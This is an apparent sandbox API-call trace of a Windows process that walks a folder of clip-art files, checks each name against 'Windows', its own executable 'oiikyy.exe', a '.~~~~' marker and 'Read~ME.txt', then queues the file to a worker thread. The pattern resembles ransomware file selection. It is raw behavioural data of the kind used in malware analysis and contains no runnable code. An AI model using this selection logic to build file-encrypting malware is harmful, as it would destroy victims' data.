	[0085.320] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1
	[0085.320] lstrcmpiW (lpString1="J0199307.WMF", lpString2="Windows") returned -1
	[0085.320] lstrcmpW (lpString1="J0199307.WMF", lpString2="oiikyy.exe") returned -1
	[0085.320] StrStrW (lpFirst="J0199307.WMF", lpSrch=".~~~~") returned 0x0
	[0085.320] lstrcmpW (lpString1="J0199307.WMF", lpString2="Read~ME.txt") returned -1
	[0085.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.320] GetCurrentThreadId () returned 0x618
	[0085.320] RtlWakeConditionVariable () returned 0x365f48
	[0085.320] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1
	[0085.321] lstrcmpiW (lpString1="J0199423.WMF", lpString2="Windows") returned -1
	[0085.321] lstrcmpW (lpString1="J0199423.WMF", lpString2="oiikyy.exe") returned -1
	[0085.321] StrStrW (lpFirst="J0199423.WMF", lpSrch=".~~~~") returned 0x0
	[0085.321] lstrcmpW (lpString1="J0199423.WMF", lpString2="Read~ME.txt") returned -1
	[0085.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.321] GetCurrentThreadId () returned 0x618
	[0085.321] RtlWakeConditionVariable () returned 0x365f48
	[0085.321] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1
	[0085.321] lstrcmpiW (lpString1="J0199429.WMF", lpString2="Windows") returned -1
	[0085.321] lstrcmpW (lpString1="J0199429.WMF", lpString2="oiikyy.exe") returned -1
	[0085.321] StrStrW (lpFirst="J0199429.WMF", lpSrch=".~~~~") returned 0x0
	[0085.321] lstrcmpW (lpString1="J0199429.WMF", lpString2="Read~ME.txt") returned -1
	[0085.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.321] GetCurrentThreadId () returned 0x618
	[0085.321] RtlWakeConditionVariable () returned 0x365f48
	[0085.321] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1
	[0085.321] lstrcmpiW (lpString1="J0199465.WMF", lpString2="Windows") returned -1
	[0085.321] lstrcmpW (lpString1="J0199465.WMF", lpString2="oiikyy.exe") returned -1
	[0085.321] StrStrW (lpFirst="J0199465.WMF", lpSrch=".~~~~") returned 0x0
	[0085.321] lstrcmpW (lpString1="J0199465.WMF", lpString2="Read~ME.txt") returned -1
	[0085.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.321] GetCurrentThreadId () returned 0x618
	[0085.321] RtlWakeConditionVariable () returned 0x365f48
	[0085.322] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1
	[0085.322] lstrcmpiW (lpString1="J0199469.WMF", lpString2="Windows") returned -1
	[0085.322] lstrcmpW (lpString1="J0199469.WMF", lpString2="oiikyy.exe") returned -1
	[0085.322] StrStrW (lpFirst="J0199469.WMF", lpSrch=".~~~~") returned 0x0
	[0085.322] lstrcmpW (lpString1="J0199469.WMF", lpString2="Read~ME.txt") returned -1
	[0085.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.322] GetCurrentThreadId () returned 0x618
	[0085.322] RtlWakeConditionVariable () returned 0x365f48
	[0085.322] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1
	[0085.322] lstrcmpiW (lpString1="J0199473.WMF", lpString2="Windows") returned -1
	[0085.322] lstrcmpW (lpString1="J0199473.WMF", lpString2="oiikyy.exe") returned -1
	[0085.322] StrStrW (lpFirst="J0199473.WMF", lpSrch=".~~~~") returned 0x0
	[0085.322] lstrcmpW (lpString1="J0199473.WMF", lpString2="Read~ME.txt") returned -1
	[0085.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.322] GetCurrentThreadId () returned 0x618
	[0085.322] RtlWakeConditionVariable () returned 0x365f48
	[0085.322] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1
	[0085.322] lstrcmpiW (lpString1="J0199475.WMF", lpString2="Windows") returned -1
	[0085.322] lstrcmpW (lpString1="J0199475.WMF", lpString2="oiikyy.exe") returned -1
	[0085.322] StrStrW (lpFirst="J0199475.WMF", lpSrch=".~~~~") returned 0x0
	[0085.322] lstrcmpW (lpString1="J0199475.WMF", lpString2="Read~ME.txt") returned -1
	[0085.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.322] GetCurrentThreadId () returned 0x618
	[0085.322] RtlWakeConditionVariable () returned 0x365f48
	[0085.323] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1
	[0085.323] lstrcmpiW (lpString1="J0199483.WMF", lpString2="Windows") returned -1
	[0085.323] lstrcmpW (lpString1="J0199483.WMF", lpString2="oiikyy.exe") returned -1
	[0085.323] StrStrW (lpFirst="J0199483.WMF", lpSrch=".~~~~") returned 0x0
	[0085.323] lstrcmpW (lpString1="J0199483.WMF", lpString2="Read~ME.txt") returned -1
	[0085.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.323] GetCurrentThreadId () returned 0x618
	[0085.323] RtlWakeConditionVariable () returned 0x365f48
	[0085.323] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1
	[0085.323] lstrcmpiW (lpString1="J0199609.WMF", lpString2="Windows") returned -1
	[0085.323] lstrcmpW (lpString1="J0199609.WMF", lpString2="oiikyy.exe") returned -1
	[0085.323] StrStrW (lpFirst="J0199609.WMF", lpSrch=".~~~~") returned 0x0
	[0085.323] lstrcmpW (lpString1="J0199609.WMF", lpString2="Read~ME.txt") returned -1
	[0085.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.323] GetCurrentThreadId () returned 0x618
	[0085.323] RtlWakeConditionVariable () returned 0x365f48
	[0085.323] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1
	[0085.323] lstrcmpiW (lpString1="J0200151.WMF", lpString2="Windows") returned -1
	[0085.323] lstrcmpW (lpString1="J0200151.WMF", lpString2="oiikyy.exe") returned -1
	[0085.323] StrStrW (lpFirst="J0200151.WMF", lpSrch=".~~~~") returned 0x0
	[0085.323] lstrcmpW (lpString1="J0200151.WMF", lpString2="Read~ME.txt") returned -1
	[0085.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.323] GetCurrentThreadId () returned 0x618
	[0085.324] RtlWakeConditionVariable () returned 0x365f48
	[0085.324] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1
	[0085.324] lstrcmpiW (lpString1="J0200163.WMF", lpString2="Windows") returned -1
	[0085.324] lstrcmpW (lpString1="J0200163.WMF", lpString2="oiikyy.exe") returned -1
	[0085.324] StrStrW (lpFirst="J0200163.WMF", lpSrch=".~~~~") returned 0x0
	[0085.324] lstrcmpW (lpString1="J0200163.WMF", lpString2="Read~ME.txt") returned -1
	[0085.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.324] GetCurrentThreadId () returned 0x618
	[0085.324] RtlWakeConditionVariable () returned 0x365f48
	[0085.324] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1
	[0085.324] lstrcmpiW (lpString1="J0200183.WMF", lpString2="Windows") returned -1
	[0085.324] lstrcmpW (lpString1="J0200183.WMF", lpString2="oiikyy.exe") returned -1
	[0085.324] StrStrW (lpFirst="J0200183.WMF", lpSrch=".~~~~") returned 0x0
	[0085.324] lstrcmpW (lpString1="J0200183.WMF", lpString2="Read~ME.txt") returned -1
	[0085.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.324] GetCurrentThreadId () returned 0x618
	[0085.324] RtlWakeConditionVariable () returned 0x365f48
	[0085.324] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1
	[0085.324] lstrcmpiW (lpString1="J0200189.WMF", lpString2="Windows") returned -1
	[0085.324] lstrcmpW (lpString1="J0200189.WMF", lpString2="oiikyy.exe") returned -1
	[0085.324] StrStrW (lpFirst="J0200189.WMF", lpSrch=".~~~~") returned 0x0
	[0085.324] lstrcmpW (lpString1="J0200189.WMF", lpString2="Read~ME.txt") returned -1
	[0085.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.325] GetCurrentThreadId () returned 0x618
	[0085.325] RtlWakeConditionVariable () returned 0x365f48
	[0085.325] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1
	[0085.325] lstrcmpiW (lpString1="J0200273.WMF", lpString2="Windows") returned -1
	[0085.325] lstrcmpW (lpString1="J0200273.WMF", lpString2="oiikyy.exe") returned -1
	[0085.325] StrStrW (lpFirst="J0200273.WMF", lpSrch=".~~~~") returned 0x0
	[0085.325] lstrcmpW (lpString1="J0200273.WMF", lpString2="Read~ME.txt") returned -1
	[0085.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.325] GetCurrentThreadId () returned 0x618
	[0085.325] RtlWakeConditionVariable () returned 0x365f48
	[0085.325] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1
	[0085.325] lstrcmpiW (lpString1="J0200279.WMF", lpString2="Windows") returned -1
	[0085.325] lstrcmpW (lpString1="J0200279.WMF", lpString2="oiikyy.exe") returned -1
	[0085.325] StrStrW (lpFirst="J0200279.WMF", lpSrch=".~~~~") returned 0x0
	[0085.325] lstrcmpW (lpString1="J0200279.WMF", lpString2="Read~ME.txt") returned -1
	[0085.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.325] GetCurrentThreadId () returned 0x618
	[0085.325] RtlWakeConditionVariable () returned 0x365f48
	[0085.325] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1
	[0085.325] lstrcmpiW (lpString1="J0200289.WMF", lpString2="Windows") returned -1
	[0085.325] lstrcmpW (lpString1="J0200289.WMF", lpString2="oiikyy.exe") returned -1
	[0085.325] StrStrW (lpFirst="J0200289.WMF", lpSrch=".~~~~") returned 0x0
	[0085.326] lstrcmpW (lpString1="J0200289.WMF", lpString2="Read~ME.txt") returned -1
	[0085.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.326] GetCurrentThreadId () returned 0x618
	[0085.326] RtlWakeConditionVariable () returned 0x365f48
	[0085.326] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1
	[0085.326] lstrcmpiW (lpString1="J0200377.WMF", lpString2="Windows") returned -1
	[0085.326] lstrcmpW (lpString1="J0200377.WMF", lpString2="oiikyy.exe") returned -1
	[0085.326] StrStrW (lpFirst="J0200377.WMF", lpSrch=".~~~~") returned 0x0
	[0085.326] lstrcmpW (lpString1="J0200377.WMF", lpString2="Read~ME.txt") returned -1
	[0085.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.326] GetCurrentThreadId () returned 0x618
	[0085.326] RtlWakeConditionVariable () returned 0x365f48
	[0085.326] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1
	[0085.326] lstrcmpiW (lpString1="J0200383.WMF", lpString2="Windows") returned -1
	[0085.326] lstrcmpW (lpString1="J0200383.WMF", lpString2="oiikyy.exe") returned -1
	[0085.326] StrStrW (lpFirst="J0200383.WMF", lpSrch=".~~~~") returned 0x0
	[0085.326] lstrcmpW (lpString1="J0200383.WMF", lpString2="Read~ME.txt") returned -1
	[0085.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.326] GetCurrentThreadId () returned 0x618
	[0085.326] RtlWakeConditionVariable () returned 0x365f48
	[0085.326] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1
	[0085.326] lstrcmpiW (lpString1="J0200467.WMF", lpString2="Windows") returned -1
	[0085.326] lstrcmpW (lpString1="J0200467.WMF", lpString2="oiikyy.exe") returned -1
	[0085.326] StrStrW (lpFirst="J0200467.WMF", lpSrch=".~~~~") returned 0x0
	[0085.327] lstrcmpW (lpString1="J0200467.WMF", lpString2="Read~ME.txt") returned -1
	[0085.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.327] GetCurrentThreadId () returned 0x618
	[0085.327] RtlWakeConditionVariable () returned 0x365f48
	[0085.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1
	[0085.327] lstrcmpiW (lpString1="J0200521.WMF", lpString2="Windows") returned -1
	[0085.327] lstrcmpW (lpString1="J0200521.WMF", lpString2="oiikyy.exe") returned -1
	[0085.327] StrStrW (lpFirst="J0200521.WMF", lpSrch=".~~~~") returned 0x0
	[0085.327] lstrcmpW (lpString1="J0200521.WMF", lpString2="Read~ME.txt") returned -1
	[0085.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.327] GetCurrentThreadId () returned 0x618
	[0085.327] RtlWakeConditionVariable () returned 0x365f48
	[0085.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1
	[0085.327] lstrcmpiW (lpString1="J0200611.WMF", lpString2="Windows") returned -1
	[0085.327] lstrcmpW (lpString1="J0200611.WMF", lpString2="oiikyy.exe") returned -1
	[0085.327] StrStrW (lpFirst="J0200611.WMF", lpSrch=".~~~~") returned 0x0
	[0085.327] lstrcmpW (lpString1="J0200611.WMF", lpString2="Read~ME.txt") returned -1
	[0085.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.327] GetCurrentThreadId () returned 0x618
	[0085.327] RtlWakeConditionVariable () returned 0x365f48
	[0085.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1
	[0085.327] lstrcmpiW (lpString1="J0202045.JPG", lpString2="Windows") returned -1
	[0085.328] lstrcmpW (lpString1="J0202045.JPG", lpString2="oiikyy.exe") returned -1
	[0085.328] StrStrW (lpFirst="J0202045.JPG", lpSrch=".~~~~") returned 0x0
	[0085.328] lstrcmpW (lpString1="J0202045.JPG", lpString2="Read~ME.txt") returned -1
	[0085.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.328] GetCurrentThreadId () returned 0x618
	[0085.328] RtlWakeConditionVariable () returned 0x365f48
	[0085.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1
	[0085.328] lstrcmpiW (lpString1="J0211981.WMF", lpString2="Windows") returned -1
	[0085.328] lstrcmpW (lpString1="J0211981.WMF", lpString2="oiikyy.exe") returned -1
	[0085.328] StrStrW (lpFirst="J0211981.WMF", lpSrch=".~~~~") returned 0x0
	[0085.328] lstrcmpW (lpString1="J0211981.WMF", lpString2="Read~ME.txt") returned -1
	[0085.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.328] GetCurrentThreadId () returned 0x618
	[0085.328] RtlWakeConditionVariable () returned 0x365f48
	[0085.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1
	[0085.328] lstrcmpiW (lpString1="J0212299.WMF", lpString2="Windows") returned -1
	[0085.328] lstrcmpW (lpString1="J0212299.WMF", lpString2="oiikyy.exe") returned -1
	[0085.328] StrStrW (lpFirst="J0212299.WMF", lpSrch=".~~~~") returned 0x0
	[0085.328] lstrcmpW (lpString1="J0212299.WMF", lpString2="Read~ME.txt") returned -1
	[0085.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.328] GetCurrentThreadId () returned 0x618
	[0085.328] RtlWakeConditionVariable () returned 0x365f48
	[0085.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1
	[0085.328] lstrcmpiW (lpString1="J0212601.WMF", lpString2="Windows") returned -1
	[0085.329] lstrcmpW (lpString1="J0212601.WMF", lpString2="oiikyy.exe") returned -1
